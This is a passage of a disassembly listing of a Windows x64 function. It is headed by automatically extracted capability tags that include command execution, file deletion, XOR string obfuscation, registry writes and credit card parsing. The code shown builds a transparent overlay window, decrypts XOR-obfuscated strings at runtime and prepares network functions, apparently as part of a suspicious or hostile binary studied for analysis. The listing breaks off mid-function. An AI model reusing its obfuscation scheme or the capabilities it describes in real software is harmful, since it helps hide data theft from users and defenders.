Function at 0x14004cba0
Capabilities:
Authenticate hmac
Delete file
Encode data using xor
Execute command
Get session user name
Parse credit card information
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x9ad0
call fcn.1400e2700
sub rsp, rax
movaps xmmword [rsp + 0x9ac0], xmm6
movaps xmmword [rsp + 0x9ab0], xmm7
movaps xmmword [rsp + 0x9aa0], xmm8
movaps xmmword [rsp + 0x9a90], xmm9
movaps xmmword [rsp + 0x9a80], xmm10
movaps xmmword [rsp + 0x9a70], xmm11
movaps xmmword [rsp + 0x9a60], xmm12
movaps xmmword [rsp + 0x9a50], xmm13
movaps xmmword [rsp + 0x9a40], xmm14
movaps xmmword [rsp + 0x9a30], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
lea rcx, [0x1403a2400]
call fcn.14008b5a0
xor eax, eax
lea rdx, [0x1403a2770]
mov byte [rbp + 0x20], al
movabs rcx, 0x729e6a1287b9b5be
mov byte [rbp + 0x20], al
mov r8d, 0x40
mov byte [rbp + 0x20], al
movabs rax, 0xb940bea5d298f029
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x9f0], rax
mov qword [rbp + 0x140], rcx
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x9f8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x140], rcx
lea rcx, [rbp + 0x9f0]
mov qword [rbp + 0xa00], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xa08], rax
movdqa xmm0, xmmword [rbp + 0xa00]
xorps xmm0, xmmword [rbp + 0x9f0]
movdqa xmmword [rbp + 0x9f0], xmm0
call fcn.14004ca20
lea rdx, [rbp + 0x148]
mov dword [rbp + 0x148], 0x101
lea rcx, [rbp + 0x98a0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0x98a0]
lea rcx, [rbp + 0x2138]
call fcn.14007a3b0
xor r12d, r12d
mov dword [rbp + 0x44c0], 0x50
lea rax, [0x140078e70]
mov dword [rbp + 0x44c4], 0x40
mov edx, 0x7f00
mov qword [rbp + 0x44c8], rax
xor ecx, ecx
mov dword [rbp + 0x44d0], r12d
mov dword [rbp + 0x44d4], r12d
mov qword [rbp + 0x44d8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x44e0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdx, [rbp + 0x2ed2]
mov qword [rbp + 0x44f0], r12
mov qword [rbp + 0x44e8], rax
lea rcx, [rbp + 0x139]
xor eax, eax
mov byte [rbp + 0x139], al
call fcn.140073260
mov r15d, dword [reloc.WS2_32.dll_accept]
mov r10, rax
movdqa xmm9, xmmword [0x14016f740]
movdqa xmm8, xmmword [0x14016f900]
movdqa xmm10, xmmword [0x14016f710]
movdqa xmm6, xmmword [0x14016f7a0]
cmp word [rax + 0x24], r12w
je 0x14004cf15
mov r8d, r12d
cmp r15d, 2
jl 0x14004ced9
mov rcx, rax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x14004cde0
cmp r8d, 0x13
jge 0x14004cf15
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x13
jl 0x14004cee0
xor eax, eax
mov qword [rbp + 0x44f8], r10
lea rdx, [rbp + 0x2ef8]
mov byte [rbp + 0x21], al
lea rcx, [rbp + 0x21]
call fcn.140073260
mov r10, rax
cmp word [rax + 0x24], r12w
je 0x14004d085
mov r8d, r12d
cmp r15d, 2
jl 0x14004d049
mov rcx, rax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x14004cf50
cmp r8d, 0x13
jge 0x14004d085
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x13
jl 0x14004d050
mov edx, 0x7f00
mov qword [rbp + 0x4500], r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x44c0]
mov qword [rbp + 0x4508], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si ebx, dword [0x1403a10b4]
mov r13d, 1
mov ecx, r13d
cvttss2si edi, dword [0x1403a10b0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1403a10b4]
xor ecx, ecx
mulss xmm0, dword [0x14016f430]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si esi, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1403a10b0]
lea rcx, [rbp + 0x22]
mulss xmm0, dword [0x14016f430]
cdq
sub eax, edx
lea rdx, [rbp + 0x2f1e]
sar eax, 1
movd xmm1, eax
xor eax, eax
cvtdq2ps xmm1, xmm1
mov byte [rbp + 0x22], al
subss xmm1, xmm0
cvttss2si r14d, xmm1
call fcn.140073260
mov r10, rax
cmp word [rax + 0x24], r12w
je 0x14004d285
mov r8d, r12d
cmp r15d, 2
jl 0x14004d249
mov rcx, rax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x10
jl 0x14004d150
cmp r8d, 0x13
jge 0x14004d285
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x13
jl 0x14004d250
mov rdx, qword [rbp + 0x4500]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
mov r8, r10
mov qword [rsp + 0x50], r12
xor ecx, ecx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x14016f680]
lea rdx, [rbp + 0xa10]
mov rcx, rax
mov qword [0x1403a2310], rax
movdqu xmmword [rbp + 0xa10], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403a2310]
lea rdx, [0x1403a2318]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [0x1403a2318], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1403a2310]
call fcn.140078c70
test al, al
jne 0x14004d339
call fcn.140078da0
mov rdx, qword [rbp + 0x44d8]
mov rcx, qword [rbp + 0x4500]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x1400731ee
mov rcx, qword [0x1403a2310]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403a2310]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x464
call fcn.140016890
xor ecx, ecx
call fcn.140006ba0
call fcn.140008fb0
lea rcx, [rbp + 0x39a0]
mov qword [rbp + 0x140], rax
mov rdi, rax
or dword [rax], 3
call fcn.1400476b0
lea rcx, [rbp + 0x6a10]
call fcn.140026c00
lea rcx, [rbp + 0x6aa0]
mov dword [rbp + 0x6a5c], 0x10c
call fcn.140026c00
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
movss xmm3, dword [0x14016f4f8]
lea rdx, [0x140184130]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x6a10]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
movss xmm6, dword [0x14016f518]
lea rdx, [0x1402a9480]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x6a10]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1403a2278], rax
call fcn.140029cb0
movss xmm11, dword [0x14016f508]
lea rdx, [0x1402a9de0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm11
lea rax, [rbp + 0x6a10]
mov r8d, 0x875dc
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ce610]
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm6
mov r8d, 0x28da8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1403a2270], rax
call fcn.140029cb0
movss xmm7, dword [0x14016f4e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6a10]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
lea rdx, [0x1401ce610]
mov r8d, 0x28da8
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1403a2260], rax
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b5f00]
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm6
mov r8d, 0x13144
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1403a2268], rax
call fcn.140029cb0
movss xmm3, dword [0x14016f524]
lea rdx, [0x1401b5f00]
mov qword [rsp + 0x28], rax
mov r8d, 0x13144
lea rax, [rbp + 0x6a10]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
movss xmm3, dword [0x14016f4e4]
lea rdx, [0x1401ce610]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0x6a10]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, str.OTTO
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm11
mov r8d, 0xba80
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, [0x14025cbb0]
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm11
mov r8d, 0x23218
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, [0x1401c9050]
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm11
mov r8d, 0x55b8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
movaps xmm3, xmm11
lea rax, [rbp + 0x6a10]
mov r8d, 0x32cc
mov qword [rsp + 0x20], rax
lea rdx, [0x1401aa4a0]
mov rcx, rbx
call fcn.1400277c0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029cb0
mov qword [rsp + 0x28], rax
lea rdx, [0x1403313c0]
lea rax, [rbp + 0x6a10]
movaps xmm3, xmm11
mov r8d, 0x2f68
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277c0
movss xmm3, dword [0x14016f4f0]
lea rax, [0x14016a444]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x140138e00]
mov qword [rsp + 0x28], rax
mov r8d, 0x1e695
lea rax, [rbp + 0x6aa0]
mov qword [rsp + 0x20], rax
call fcn.140027980
movss xmm3, dword [0x14016f504]
lea rbx, [0x140168754]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x1400ffab0]
xor r14d, r14d
mov qword [rsp + 0x28], rbx
mov r8d, 0x3934b
mov qword [rsp + 0x20], r14
call fcn.140027980
movss xmm3, dword [0x14016f4c0]
lea rdx, [0x1400ffab0]
mov rcx, qword [rdi + 0x30]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
mov qword [rbp + 0x150], rax
mov qword [rsp + 0x20], r14
call fcn.140027980
mov rcx, qword [0x1403a2310]
mov qword [rbp + 0x158], rax
call fcn.14003b7b0
mov rdx, qword [0x1403a27c8]
mov rcx, qword [0x1403a27c0]
call fcn.14003b1e0
movss xmm0, dword [0x14016f468]
lea rcx, [rbp + 0xa20]
movss xmm3, dword [0x14016f438]
movss xmm2, dword [0x14016f434]
movss xmm1, dword [0x14016f42c]
movss dword [rsp + 0x20], xmm0
call fcn.140001dc0
lea rcx, [rbp + 0xa30]
mov byte [rbp + 0x20], r12b
mov dword [0x1403a2288], r13d
call fcn.140078f60
lea rdx, [0x14004c580]
lea rcx, [rbp + 0xa40]
call fcn.14007b3f0
lea rcx, [rbp + 0xa40]
call fcn.14003ea70
lea rcx, [rbp + 0x160]
call fcn.140030480
lea r8, [0x1403a23f8]
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x168]
call fcn.140039cb0
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14007b470
mov rcx, rax
call fcn.14007a0d0
xorps xmm14, xmm14
xorps xmm12, xmm12
call fcn.140004fa0
movdqa xmm11, xmmword [0x14016f760]
movdqa xmm13, xmmword [str.4444444444444444]
movss xmm15, dword [0x14016f51c]
movss xmm6, dword [0x14016f64c]
movabs rsi, 0x729e6a1287b9fcea
movabs rbx, 0xf86b8486e2b7d52c
call fcn.140046590
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x3190]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004d8f0
nop dword [rax + rax]
lea rcx, [rbp + 0x3190]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3190]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3198], 0x12
lea rcx, [rbp + 0x3190]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004d8a0
test r12b, r12b
jne 0x14007319c
call fcn.14003b510
call fcn.14003c3f0
call fcn.1400098f0
movss xmm2, dword [0x1403a10b4]
lea rcx, [rbp + 0x178]
movss xmm1, dword [0x1403a10b0]
call fcn.140001d60
mov rcx, rax
xor edx, edx
call fcn.140013210
xor eax, eax
lea rcx, [rbp + 0xa50]
mov byte [rbp], al
xor edx, edx
mov byte [rbp], al
mov r8d, 0x3002b
mov byte [rbp], al
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa50], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa58], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa60], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa68], rax
movdqa xmm0, xmmword [rbp + 0xa60]
xorps xmm0, xmmword [rbp + 0xa50]
movdqa xmmword [rbp + 0xa50], xmm0
call fcn.14000f760
xorps xmm0, xmm0
mov byte [rbp + 0x61c0], 0
xor eax, eax
lea rcx, [rbp + 0x180]
movups xmmword [rbp + 0x61c1], xmm0
mov qword [rbp + 0x6231], rax
movups xmmword [rbp + 0x61d1], xmm0
mov dword [rbp + 0x6239], eax
movups xmmword [rbp + 0x61e1], xmm0
mov word [rbp + 0x623d], ax
movups xmmword [rbp + 0x61f1], xmm0
mov byte [rbp + 0x623f], al
movups xmmword [rbp + 0x6201], xmm0
movups xmmword [rbp + 0x6211], xmm0
movups xmmword [rbp + 0x6221], xmm0
call fcn.140012e80
lea rcx, [rbp + 0x188]
call fcn.140017250
lea rcx, [rbp + 0x190]
call fcn.140012e80
call fcn.140017230
mov dword [rdi + 0xe50], r14d
call fcn.14004c4d0
movss xmm0, dword [0x14016f488]
comiss xmm0, dword [0x1403a2720]
jbe 0x14004da78
call fcn.140008fb0
movss xmm2, dword [0x1403a2720]
movaps xmm1, xmm6
movaps xmm0, xmm14
addss xmm2, dword [rax + 0x10]
movss dword [0x1403a2720], xmm2
mulss xmm2, dword [0x14016f430]
call fcn.14007b3e0
jmp 0x14004da7b
movaps xmm0, xmm6
movss dword [0x1403a1068], xmm0
call fcn.140013290
mov rdx, qword [0x1403a2250]
mov r14, rax
movdqa xmm0, xmmword [0x14016f820]
mov rcx, qword [rdx + 0x4038]
mov byte [rcx + 0xc0], r13b
mov rcx, qword [rdx + 0x4038]
mov rbx, qword [rcx + 0x2a8]
lea rcx, [rbp + 0xa70]
movups xmmword [rbp + 0xa70], xmm0
call fcn.140004b10
movss xmm0, dword [0x1403a10b0]
lea r8, [rbp + 0x198]
movss xmm1, dword [0x1403a10b4]
lea rdx, [rbp + 0x1a0]
movss dword [rbp + 0x198], xmm0
xor esi, esi
movss xmm0, dword [0x14016f4e0]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x19c], xmm1
mov dword [rbp + 0x1a0], 0
mov dword [rbp + 0x1a4], 0
call fcn.140024370
mov rcx, qword [0x1403a2250]
movss xmm0, dword [0x1403a10b0]
mulss xmm0, dword [0x14016f430]
mov rax, qword [rcx + 0x4038]
movss xmm6, dword [0x1403a1068]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0xa80]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x1a8], xmm0
movdqa xmm0, xmmword [0x14016f8d0]
movups xmmword [rbp + 0xa80], xmm0
mov dword [rbp + 0x1ac], esi
call fcn.140004b10
movss dword [rsp + 0x38], xmm14
lea rcx, [rbp + 0x1a8]
mov dword [rsp + 0x30], esi
lea r8, [rbp + 0x1b0]
mov qword [rsp + 0x28], rcx
lea rdx, [rbp + 0x1b8]
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov r9d, eax
mov dword [rbp + 0x1b0], esi
mov dword [rbp + 0x1b4], esi
mov dword [rbp + 0x1b8], esi
mov dword [rbp + 0x1bc], esi
call fcn.140025d30
lea r8, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], esi
xor edx, edx
mov dword [rbp + 0x1c4], esi
lea rcx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], 0x41200000
mov dword [rbp + 0x1cc], 0x41a00000
call fcn.140013180
mov rax, qword [0x1403a2250]
or dword [rax + 0x49e8], 0x40
cmp dword [0x1403a2288], esi
mov dword [rax + 0x4a48], esi
movss xmm3, dword [rbp + 0x190]
movss xmm2, dword [rbp + 0x194]
movaps xmm0, xmm3
addss xmm0, dword [0x14016f554]
addss xmm3, dword [0x14016f62c]
movaps xmm1, xmm2
addss xmm1, dword [0x14016f548]
addss xmm2, dword [0x14016f5f8]
movss dword [rbp + 0x1d0], xmm0
movss dword [rbp + 0x1d8], xmm3
movss dword [rbp + 0x1d4], xmm1
movss dword [rbp + 0x1dc], xmm2
jne 0x14004ebe4
mov rcx, qword [0x1403a2270]
call fcn.140012cb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa90]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov esi, eax
call fcn.140004fe0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xaa0]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f50c]
lea rcx, [rbp + 0x1e0]
movss xmm1, dword [0x14016f5a8]
mov ebx, eax
call fcn.140001d60
mov r9d, edi
lea rcx, [rbp + 0xab0]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd84ba4a6c297f52c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xab0], rax
movabs rax, 0x729e6a1287b9dcca
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xab8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xac0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xac8], rax
movdqa xmm0, xmmword [rbp + 0xac0]
xorps xmm0, xmmword [rbp + 0xab0]
movdqa xmmword [rbp + 0xab0], xmm0
movss xmm0, dword [0x14016f410]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033100
call fcn.140012d50
movss xmm6, dword [0x14016f528]
lea rcx, [rbp + 0x1e8]
movss xmm2, dword [0x14016f514]
movaps xmm1, xmm6
call fcn.140001d60
movss xmm2, dword [0x14016f544]
lea rcx, [rbp + 0x1f0]
movaps xmm1, xmm6
call fcn.140001d60
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xeb05a0aec388e036
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2160], rcx
movabs rax, 0x17f30360e2ccc4db
mov qword [rbp + 0x10], rax
mov r9d, 0xb4
mov rcx, qword [rbp + 0x10]
movabs rax, 0xb2639e527ab06759
mov qword [rbp + 0x2168], rcx
xor r8d, r8d
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0xad0]
mov rax, qword [rbp + 0x10]
mov edx, 0x64
mov qword [rbp + 0x2170], rax
movabs rax, 0xdaf40e281c80c3a3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2178], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2180], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2188], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2190], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2198], rax
vmovdqu ymm0, ymmword [rbp + 0x2180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2160]
vmovdqa ymmword [rbp + 0x2160], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f540]
lea rcx, [rbp + 0x1f8]
movss xmm1, dword [0x14016f598]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4dc]
lea rcx, [rbp + 0x2160]
mov rdx, qword [0x1403a2268]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xae0]
mov edx, 0x46
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f488]
lea r8, [rbp + 0x1d8]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x1d0]
movss xmm0, dword [0x14016f4a4]
mov r9d, eax
mov dword [rsp + 0x28], esi
